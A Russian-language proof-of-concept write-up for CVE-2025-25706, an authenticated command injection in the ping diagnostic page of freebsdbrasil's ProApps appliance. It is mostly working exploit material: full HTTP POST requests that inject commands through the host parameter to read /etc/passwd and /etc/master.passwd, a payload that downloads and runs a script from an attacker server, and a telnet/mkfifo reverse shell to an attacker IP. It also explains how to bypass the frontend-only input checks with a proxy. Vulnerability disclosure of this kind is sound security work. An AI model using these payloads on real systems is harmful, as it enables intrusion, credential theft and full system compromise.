
Подробное доказательство концепции CVE-2025-25706, демонстрирующее аутентифицированное удаленное выполнение кода через внедрение команд в функции ping в ProApps, включая полезную нагрузку reverse shell и шаги эксплуатации.
Product Vendor: freebsdbrasil
Item: ProApps - Enterprise Appliance
Editor Creator: DreamWeaver
PHP: PHP Version 7.3.18
Java Script Library: Jquery UI 1.6 | Jquery 1.2.6
Server: NGINX
Operational System: FreeBDS Unix
Удалённое выполнение кода
Уязвимость возникает из-за того, что пользователь может внедрять системные команды в приложение через функцию ping, добавляя операторы последовательности команд в средах Unix, такие как (;, && или |). Для эксплуатации уязвимости необходима аутентификация. Пользователь должен принадлежать группе разрешений под названием «Status» и иметь разрешение «Modified». Также важно отметить, что для успешной эксплуатации требуется обход санитизации ввода. Приложение проверяет пользовательский ввод только на фронтенде, поэтому необходимо отправлять запрос через сетевой прокси, например. Таким образом можно обойти ограничения, наложенные приложением.
После аутентификации необходимо перейти на страницу с названием sta_rede.diagnostico_ping (http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view).
Эта страница предоставляет функцию выполнения ICMP-запроса к произвольному хосту. Чтобы узнать больше об утилите ping и протоколе ICMP (запрос и ответ), обратитесь к RFC, указанному в разделе ссылок.
Приложение отправляет POST-запрос с параметрами host, testar_pacote и ttl, где host — цель ping, testar_pacote — количество отправляемых ICMP-запросов, а TTL — время жизни пакетов. После отправки запроса приложение выполняет следующую команду в системе Unix: ping -c $testar_pacote $host. Ниже представлен POST-запрос, демонстрирующий функциональность:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
Здесь можно заметить вектор атаки. Пользователь может использовать уязвимость, отправив вредоносный POST-запрос через сетевой прокси для обхода санитизации ввода, добавив один из операторов последовательности команд (;, && или |) к параметру host; веб-приложение выполнит команду ping, упомянутую выше, а затем дополнительную команду. Например, это может включать чтение конфиденциальных файлов, таких как /etc/passwd, /etc/master.passwd, или получение обратной оболочки, или выполнение произвольных команд.
Ниже представлен сконструированный вредоносный POST-запрос:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
HTTP POST запрос к sta_rede.diagnostico_ping:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
Прослушивая указанный порт с помощью Netcat, можно успешно открыть обратную оболочку.
Уязвимости RCE (удалённое выполнение кода) позволяют злоумышленнику выполнять произвольный код на удалённом устройстве, что может привести к полной компрометации системы, утечке данных, боковому перемещению, развёртыванию вредоносного ПО, а также репутационному и финансовому ущербу.